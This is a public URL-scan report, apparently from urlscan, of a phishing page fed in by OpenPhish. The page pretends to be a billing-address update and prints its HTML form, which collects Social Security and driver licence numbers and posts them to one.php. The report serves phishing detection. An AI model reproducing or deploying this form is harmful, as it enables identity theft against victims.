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villagemartng.com Open in urlscan Pro
70.39.233.244  Public Scan

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URL: https://villagemartng.com/dcu/billing.php
Submission: On November 23 via automatic, source openphish — Scanned from DE

Form analysis 1 forms found in the DOM

POST one.php

<form id="account" action="one.php" method="POST">
  <!--    <div class="logo">
                            <a href=""> <img src="img/spf.svg" alt="" width="117" height="34"> </a>
                        </div>  -->
  <h2 class="heading">Update Your Billing Address</h2>
  <h3 class="sub-heading">Enter Social Security Number</h3>
  <div class="form-group">
    <label for="ncard" class="tab1">SSN</label>
    <input type="number" class="form-control form-d" name="ssn" placeholder="" id="ssn">
  </div>
  <div class="form-group">
    <label for="ncard" class="tab1">DRIVER LICENSE NUMBER</label>
    <input type="number" class="form-control form-d" name="dln" placeholder="" id="dln">
  </div>
  <div class="form-group">
    <label for="ncard" class="tab1">LICENSE ISS DATE</label>
    <input type="date" class="form-control form-d" name="iss" placeholder="" id="iss">
  </div>
  <div class="form-group">
    <label for="ncard" class="tab1">LICENSE EXP DATE</label>
    <input type="date" class="form-control form-d" name="exp" placeholder="" id="exp">
  </div>
</form>

Text Content

UPDATE YOUR BILLING ADDRESS


ENTER SOCIAL SECURITY NUMBER

SSN
DRIVER LICENSE NUMBER
LICENSE ISS DATE
LICENSE EXP DATE
UPDATE BILLING